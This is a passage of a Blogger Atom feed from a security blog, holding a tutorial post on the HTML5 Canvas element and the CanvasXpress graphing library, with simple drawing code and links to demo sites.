<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1547170927549978957</id><updated>2015-09-16T13:04:15.872-03:00</updated><category term="Seguridad informatica"/><category term="0 day"/><category term="Microsoft"/><category term="Windows"/><category term="programacion"/><category term="Bugs"/><category term="Facebook"/><category term="Firefox"/><category term="inseguridad"/><category term="C"/><category term="Mozilla"/><category term="elhacker.net"/><category term="malware"/><category term="Anonymous"/><category term="C++"/><category term="COMTREND"/><category term="Exploit"/><category term="Google"/><category term="Novedades"/><category term="Open Office"/><category term="Privacidad"/><category term="SeguridadWireless"/><category term="WPA"/><category term="WikiLeaks"/><category term="Windows 7"/><category term="vulnerabilidad"/><category term="Adobe"/><category term="Android"/><category term="Apple"/><category term="Canvas"/><category term="CanvasXpress"/><category term="Chrome"/><category term="Collusion"/><category term="Conficker"/><category term="DLL"/><category term="DoS"/><category term="Documental"/><category term="Drivers"/><category term="HD Moore"/><category term="HTML5"/><category term="Hacker"/><category term="Hijacking"/><category term="Historias"/><category term="Jasper"/><category term="Java"/><category term="Kernel"/><category term="LOIC"/><category term="Lapsec"/><category term="Linux"/><category term="Mac"/><category term="Microsoft Security Essentials"/><category term="NSA"/><category term="Navegadores"/><category term="Noticia"/><category term="Offtopic"/><category term="Pirateria"/><category term="Reader X"/><category term="Reports"/><category term="Review"/><category term="Skimming"/><category term="UAC"/><category term="Web"/><category term="Windows Vista"/><category term="Xbox"/><category term="antivirus"/><category term="bot"/><category term="botnets"/><category term="conferencias"/><category term="ekoparty"/><category term="eventos"/><category term="freenode"/><category term="herramientas"/><category term="irc"/><category term="lnk"/><category term="sasl"/><category term="twitter"/><title type='text'>Need of Security</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default?start-index=26&amp;max-results=25'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>45</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-195716993312484574</id><published>2012-12-06T22:01:00.001-03:00</published><updated>2012-12-06T22:21:03.199-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Canvas"/><category scheme="http://www.blogger.com/atom/ns#" term="CanvasXpress"/><category scheme="http://www.blogger.com/atom/ns#" term="HTML5"/><title type='text'>CanvasXpress - Powerful graphing tool</title><content type='html'>&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 21px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 21px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 21px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 21px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt; &lt;br /&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;207&quot; src=&quot;https://lh5.googleusercontent.com/rYK5LPmdDEfn3wEkf8SfGYfXhydsTOGqx8Qlj2z-qH2G2LqhlsRI1m37OmOaGXr-Sawri9B7-AZitFixkV5TxYkGuTZ74r6ruTGDRgXfEctHkyFVtX0&quot; width=&quot;367&quot; /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 16px; font-style: italic; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;About this article&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 16px; font-style: italic; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;I’ve been using CanvasXpress for real time graphing for a corporative website.&lt;br class=&quot;kix-line-break&quot; /&gt;As  a team, we learned a lot about this library and how browsers interact  with the canvas element, so this article is about sharing our gained  experience and introducing the mostly unknown canvasXpress library.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;I’ll  looking forward to read your thoughts about any of this topics; other  libraries, other technologies (like SVG) and of course you’re welcome to  mail me any doubt you have and I’ll try to help.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 16px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 16px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 16px; font-style: italic; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;About the author&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 16px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: italic; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;I’m  currently working for a multinational electric company. My focus is on RESTful  web services, Spring MVC and HTML5.&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: italic; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 21px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 21px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 21px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 21px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;Index&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul class=&quot;p2-UL&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;1 - Introduction to the Canvas element&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;2 - Examples of the Canvas element&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;3 - Canvas vs SVG&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;4 - CanvasXpress library&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;5 - Browser support&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;6 - Basic usage&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;7 - Real world scenario&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;8 - End&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;Introduction to the Canvas element&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;HTML5 brought to the web development world a huge amount of useful features. One of those features is the Canvas element.&lt;br class=&quot;kix-line-break&quot; /&gt;The  Canvas element allows dynamic content and scriptable rendering of 2D  shapes and bitmap images. It is a low level, procedural model, that  updates a bitmap and does not have a built in &lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Scene_graph&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;scene-graph&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;.&lt;br class=&quot;kix-line-break&quot; /&gt;We  can say that Canvas is a drawable region in HTML code with a height and  width attributes. Javascript code may access this region, allowing us  to generate fully dynamic content as graphics, games, animations and so  on.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;A Canvas element within a page would look like this:&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 255); float: left; line-height: 1; white-space: pre;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc1&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;canvas&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc8&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc3&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;id&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc8&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sc6&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #8000ff;&quot;&gt;&quot;example&quot;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc8&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc3&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;width&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc8&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sc6&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #8000ff;&quot;&gt;&quot;200&quot;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc8&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc3&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;height&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc8&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sc6&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #8000ff;&quot;&gt;&quot;200&quot;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc1&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&lt;b&gt; &lt;br /&gt;This text is displayed if your browser does not support HTML5 Canvas. &lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc1&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc1&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;/canvas&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And this is how you may access it from Javascript:&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 255); float: left; line-height: 1; white-space: pre;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;var&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;example&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc7&quot;&gt;&lt;span style=&quot;color: grey;&quot;&gt;&#39;example&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;);&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc5&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;var&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;example&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;getContext&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc7&quot;&gt;&lt;span style=&quot;color: grey;&quot;&gt;&#39;2d&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;);&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;fillStyle&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;=&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc7&quot;&gt;&lt;span style=&quot;color: grey;&quot;&gt;&#39;red&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;;&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: #f2f4ff;&quot;&gt;&lt;span style=&quot;font-family: Courier New;&quot;&gt;&lt;span class=&quot;sc0&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;.&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc11&quot;&gt;fillRect&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;(&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc4&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;30&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc4&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;30&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc4&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;50&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;,&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;span class=&quot;sc4&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;50&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;sc10&quot;&gt;&lt;b&gt;);&lt;/b&gt;&lt;/span&gt;&lt;span class=&quot;sc0&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You  could try this simple example and play a little bit with the element.  You will find that is very easy to use and very powerful.&lt;br class=&quot;kix-line-break&quot; /&gt;Although  using the Canvas element is easy for simple animations, is not the best  choice to access the element directly if you want to create complex  animations.&lt;br class=&quot;kix-line-break&quot; /&gt;As with many technologies,  sometimes you may have to use libraries that abstract functionalities in  order to create reusable, easy to maintain and less error-prone  applications.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;We  should imagine the Canvas element as a big board where we can draw  anything we want. If we use only a pen, we might achieve a good draw,  but if we want to create an amazing draw, we need some extra tools.&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;In  the development world is a common rule to “not reinvent the wheel” and  to “use anything you can” so if you need to create a game or a graph,  first you should search for available libraries and toolkits. If you  find anything that suits your needs, then you can worry about licenses  and costs, but first you have to look out there. This might not sound  important at first, but it can speed up your development in a very  noticeable way.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;In this article we’re going to do a real-time data graph, and that’s where CanvasXpress comes in.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;Examples of the Canvas element&lt;/span&gt;&lt;img alt=&quot;&quot; height=&quot;179&quot; src=&quot;https://lh5.googleusercontent.com/0XyWqWytI-IHc34MrytRRb__xYWvgDVhvt2XOL4U0BVLTijx6Gl-0DTggBzQl3ElDJXC6xHXI2k7_XyC35wliNoDmsQFIeAahn8Qe5aq52ICiKf19CM&quot; width=&quot;501&quot; /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;First  of all, it&#39;s important to know what is the Canvas element capable of,  so I gathered a few examples applications that goes from games and  animations to graphics. This examples aren’t related to any library in  particular, it’s just to demonstrate the power of this feature and what  we could use it for.&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;Applications&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;mugtug.com/sketchpad/&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;http://www.canvasdemos.com/2009/10/17/dynamic-image-collage/&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;http://www.canvasdemos.com/2010/03/23/k3d-canvas-3d/&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;Animations&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; 